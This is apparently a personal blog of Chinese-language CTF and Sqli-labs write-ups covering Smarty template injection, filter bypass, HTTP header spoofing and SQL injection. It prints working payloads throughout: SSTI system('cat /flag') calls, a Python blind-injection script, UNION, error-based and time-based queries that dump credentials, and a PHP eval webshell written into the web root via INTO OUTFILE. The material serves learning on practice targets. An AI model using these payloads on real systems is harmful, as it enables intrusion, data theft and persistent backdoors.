BJDCTF2020-The-mystery-of-ip

[BJDCTF2020]The mystery of ip

1.题目:模板注入
2.过程:

打开是一个页面,有flag和hint页面:

flag页面:显示了我的ip

hint:image-20210205150917793

大概率是XFF头吧……

image-20210205152336147

确实IP更改了…查找资料:

使用smarty模板,且有用户可控的不加过滤的值,此时根据smarty的规则注入实现代码的执行:

image-20210205155349739

{exec(“cat /flag”)}

{system(“cat /flag”)}

{if system(“cat /flag”)}{if}

都可以

image-20210205160404384

PHP的模板注入(Smarty模板CSDN)

Smarty SSTI

有人提交的一个smarty漏洞

这个题是我走私者没思路的是写的,万万没想到接触了新的东西……还有很多人喷smarty

  

RoarCTF-2019-Easy-Calc

[RoarCTF 2019]Easy Calc

1.题目:绕过/Http走私
2.过程:

做HGAME走私者的时候发现的这题,拿来做一做……

网页是一个计算器功能,对特殊字符进行了过滤

提交参数时查看流量:

image-20210306111835199

发现对calc.php和num,访问calc.php:

image-20210306111937730

正则匹配模式:

/i (忽略大小写)

/g (全文查找出现的所有匹配字符)

/m (多行查找)

/gi(全文查找、忽略大小写)

/ig(全文查找、忽略大小写)

按理应该是绕过……

法一:绕过
image-20210306111953271

利用scandir扫描目录

image-20210306112012711

+num可以绕过匹配,但在处理时+会被省去,实现绕过,chr

结合var_dump显示目录:

image-20210306112036833

发现f1agg文件

然后用file、file_get_contents去读取文件,用chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)拼接绕过黑名单

dalao:

https://www.cnblogs.com/gyrgyr/p/5774436.html

利用PHP的字符串解析特性Bypass

所以他实际上有两层检测,第一层检测过滤各种字母;+num绕过后还会过滤引号等。

2.Http走私

其实不太明白服务器架设之类的知识,可以去学一下……

由于前后端服务器对信息体的识别问题,加上缓存重用连接,导致了漏洞……?

但这道题挺诡异的:

image-20210306112111707

只需要两个CL头就可以绕过……

猜测和这个有关系Http走私4.3.1-ATS第一个补丁……

个人猜想:前端服务器读出有两个CL头,虽然报错,但仍然转发了请求(所以三个CL头也能成……)。

image-20210306112126105

dalao:星盟

ok

  

极客大挑战-2019-BuyFlag

[极客大挑战 2019]BuyFlag

1.题目:
2.过程:

进入题目是一个高大上的界面,有PAYFLAG界面……

自从做过HGAME的智商检测,现在已经习惯性的去查cookie……

image-20210205093552561

这个user还是比较可疑的,先不管,查看源码有:

image-20210205093704561

是一个绕过,但是我传了老久,就是没有回显……一直说我不是Cuit‘s students

image-20210205093837909

把user改成1,就是了……

后面就是两个绕过,password弱比较,money限制长度……

image-20210205094134809

ok

  

CISCN2019-华北赛区-Day2-Web1-Hack-World

[CISCN2019 华北赛区 Day2 Web1]Hack World

1.题目:数字型注入+脚本
2.过程

把表名和列名都列出来了,就等你注了……

但是好多字符包括空格都给过滤了,试好久也试不出来……

但是:1/1、4/2是可以出结果的,也就是说,可以借助逻辑判断返回1和0,判断逻辑的真假。

借助之前sqli学到的布尔盲注:

image-20210126103939343

id=if(length((select(flag)from(flag)))=42,1,0)

image-20210130095117383

说明flag有42个字符,这要一个一个注……很多题解上都用了脚本,反正时间充裕,我就针对python脚本学习了下

​ 1.requests模块通过POST请求传参

​ 2.字符串拼接变量

​ 3.处理requests请求结果

​ 4.复习Acwing的二分法模板:1227. 分巧克力

​ 5.time.sleep()延时处理防止频繁访问导致网页不正常回显产生坏点(得益于sql延时注入了解了sleep函数)

其实学的写的都挺粗糙的……最后也调试了好久,不过看见脚本成功运行还是很开心的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
url = 'http://2bd5e0bf-74ef-4b72-90b8-315541a82d9d.node3.buuoj.cn/'
flag=""
for x in range(1,43):
l = 32
r = 126
while r > l:
mid = int((l+r+1) / 2)
x = str(x)
y = str(mid)
id = {"id":'if(ascii(substr((select(flag)from(flag)),'+x+',1))>='+y+',1,0)'}
response = requests.post(url=url,data=id)
if "Hello" in response.text:
l = mid
else:
r = mid-1
time.sleep(0.03)
flag+=(chr(int(r)))
print(chr(int(r)))
print(flag)

0.03还是比较稳定、比较快的,出的flag也比较正常。

image-20210130100902831

emmm,这样我就有自己的布尔盲注脚本了。

🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗

  

极客大挑战-2019-Http

[极客大挑战 2019]Http

1.题目:Http头知识
2.过程:

image-20210127154300675

查看源码可以看到有一个Secret.php页面

image-20210127154359878

用burpsuit修改http头:

referrer:当一个用户点击当前页面中的一个链接,然后跳转到目标页面时,目标页面会收到一个信息,即用户是从哪个源链接跳转过来的。

image-20210127154536344

User-Agent中记录了使用的浏览器信息

image-20210127154901598

也就是要是本地ip

X-Forwarded-For 是一个 HTTP 扩展头部,可用来伪造来源IP

image-20210127155029063

image-20210127155040668

  

GXYCTF2019-BabySQli

[GXYCTF2019]BabySQli

1.题目:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
2.过程:

可以猜到username是admin,只会提示wrong pass……那就只能在username注入

image-20210127114903957

POST……用burpsuit

image-20210127115020460

发现有一段密文:MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

试试解密:先base32,再base64:select * from user where username = ‘$name’

不清楚有什么用欸……查一下sql里的MD5加密语句:

image-20210127115316636

这个应该很接近题目了。网上很多猜测源码的……GitHub上有源码:

image-20210127150627305

只查了一行,所以用union的特性,构造:

name=3’ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’–+&pw=123

此时获取的是union的虚表,select ‘admin’,0,’202cb962ac59075b964b07152d234b70’ 是不行的

第二列应该是username,第三列是password;即arr[1]和arr[2]。

202cb962ac59075b964b07152d234b70即123的MD5编码……得flag

image-20210127151238520

 WEB
  

Sqli-labs

Less-1

先用or 1=1,只显示一条结果,应该有limit语句……

1
?id=1' order by 3--+

判断列数以便使用联合查询,发现有三列。

1
?id=' union select 1,database(),3--+

image-20210125092719056

正常回显,当前库是security。

查表:

1
?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

image-20210125094000614

查字段:

1
?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

image-20210125094309642

可以查询用户名与密码:

1
?id=' union select 1,(select group_concat(username,"-",password) from security.users),3--+

image-20210125094559177

Less-1结束……

Less-2

?id=1 and 1=2 无回显,数值型注入……

order by 3 即有三列。

用的好像还是security库……

1
?id=0 union select 1,(select group_concat(username,"-",password) from security.users),3--+

image-20210125100314265

em,和Less-1差不多……

Less-3

?id=1’回显有点奇怪……

image-20210125100534807

那一部分应该是:**’1”) LIMIT 0,1**,应该是id=(‘$id’)

?id=1’)–+ 回显正常

?id=1’) order by 3–+ 有3列

1
?id=') union select 1,(select group_concat(username,"-",password) from security.users),3--+

image-20210125101316132

OK

Less-4

?id=1’’’’’’’’’’’’’’’’’’–+123156hbhj–+

没有任何的报错……应该是都被认为是字符了

?id=1” 报错:

image-20210125102444211

这里大概是:id=(“$id”)

?id=1”)–+ 回显正常

1
?id=") union select 1,(select group_concat(username,"-",password) from security.users),3--+

这样就可以了……

Less-5

image-20210125102858654

emm……不太懂,查一波。

这波大概是盲注,盲注也有很多种……

image-20210125103101029

image-20210126103939343

?id=1’ and left(database(),1)=’s’–+ //一位一位判断库名

?id=1’ and if(length(database())=8,sleep(1),1)–+ //利用时间延迟判断猜测是否正确3

结合burpsuit可以更方便一些……

还有更强的方法:双查询联合注入

详细讲解双查询注入csdn

双查询注入(大佬)

sql注入之双查询注入(简书)

这些文章都尽可能的解释了这个方法……

group by 的说明

image-20210126114614150

理解一波,不知道对不对……

group by 读取时,查找字段名中是否有key,没有则插入。但是每次读取判断时,floor(random(0)*2)是随机的0或1……所以概率出现重复插入的情况,此时会发生报错,报错内容回显出database()的内容。

eg:*?id=’ union select count(*),count(*),concat(‘‘,(select database()),’‘,floor(rand()*2)) as a from information_schema.tables group by a–+*

那这个count(*)又有什么作用……

本以为是像select 1,2,3一样占行数的……但改成1和2又会不起效果……

必须有一个count(*)才行……

这个看着差不多,结合自己理解一波:

image-20210126170317765

image-20210126170944295

先以语句结果去寻找,找不到,插入语句重新计算得到的结果。这样的话,表至少有两列,这个方法才能成功(至少遍历两次才能产生冲突)。若第二次找不到,则插入新结果,此时还要计算对应的count,遍历数据。

SQL有三个类型的索引,唯一索引 不能有重复,但聚集索引,非聚集索引可以有重复

主键key默认是唯一索引。count的再次遍历发现了主键索引的冲突,报错。大概是这样?……

还有,再查当前库时,可以用:**?id=-1’ union select n from n–+**

image-20210126172631743

直接得到security……不过好像只能干这个……

1
?id=' union select 1,count(\*),concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

查当前库

1
?id=-1' union select count(\*),1, **concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit x,1)**,'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改x可以查各个表名

?id=-1’ union select count(*),1, concat(‘~‘,(select column_name from information_schema.columns where table_name=’users’ limit x,1),’~’,floor(rand()*2)) as a from information_schema.tables group by a–+

修改x可以查各个列名

1
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit x,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改x可以查各个字段

百分百成功(大概):rand()里面的seed调为小于等于0,对于指定的seed,rand的值相同。但是是什么,为什么我都不知道……我也是试出来的,也查不清楚……

回来再试试~~

Less-6

?id=1” 报错

image-20210126181005116

?id=1”–+成功

1
?id=-1" union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit x,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

查表

差不多……

Less-7

image-20210126181512238

outfile又不懂辽……

?id=1’–+ 只提示有错误……没有错误的回显了。查资料辽。

?id=1‘)) and (select count(*) from mysql.user)>0 –+

判断有没有文件写入权限,不过只显示有错误,不知道是不是语法错误……

?id=1’)) and if((select count(*) from mysql.user)>0,1,1) –+ 进入,应该是没有写入/写出权限

关于file权限:

1
2
3
4
1 必须有权限读取并且文件必须完全可读 
2 目的文件必须在服务器上
3 必须指定文件完整的路径
4 欲读取文件必须小于 max_allowed_packet

由于phpstudy的设置,所以在网站上操作没有权限,好像是secure_file_priv需要设置一下……

更改之后:?id=1’)) and if((select count(*) from mysql.user)>0,1,0) –+ 成功进入

导出文件:?id=1’)) union select 1,database(),user() into outfile “D:\pp.txt”–+ 报错但文件成功导出。

image-20210126224148354

*?id=’)) union select * from users into outfile “D:\apap.txt”–+*

image-20210126230104531

OK。

导入文件:

?id=1’)) union select 1,2,’<?php @eval($_POST[“b”])?>‘ into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\b.php”–+

反斜杠“\”是Windows系统文件目录结构使用的分隔符,如:D:\我的文档。只有 windows 支持反斜杠路径符 \ ,而unix支持 /

但是我们还应该知道 \ 也是转义字符,在url中他会当成转义字符处理,所以我们用 \ 对反斜杠进行转义,那么结果就变成了一个反斜杠

image-20210126225640997

成功连接。

Less-8

这次彻底没有任何错误回显了……

只能一位一位注…同Less-5的第一种方法:

?id=1’ and left(database(),1)=’s’–+ //一位一位判断库名

?id=1’ and if(length(database())=8,sleep(1),1)–+ //利用时间延迟判断猜测是否正确

结合burpsuit可以更方便一些……不用bp也可以用二分法。

image-20210126103939343

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),1)=’r’ , sleep(1), 1) –+ //查表

?id=1’ and if(left((select column_name from information_schema.columns where table_name=’users’ limit x,1),1)=’a’, sleep(1), 1) –+ //查列

?id=1’ and if(left((select password from users limit 0,1),4)=’dumb’ , sleep(1), 1) –+ //查数据

Less-9

image-20210126232436182

em,和Less-8是一样的。

Less-10

不论怎么打,都是“You are in”……

源代码:

image-20210126233825832

$id的值左右拼接了“ ”;这样处理的话只能用and去判断

所以用双引号就行了……其他和Less-8是一样的。

1-10:OK

  

:D 一言句子获取中...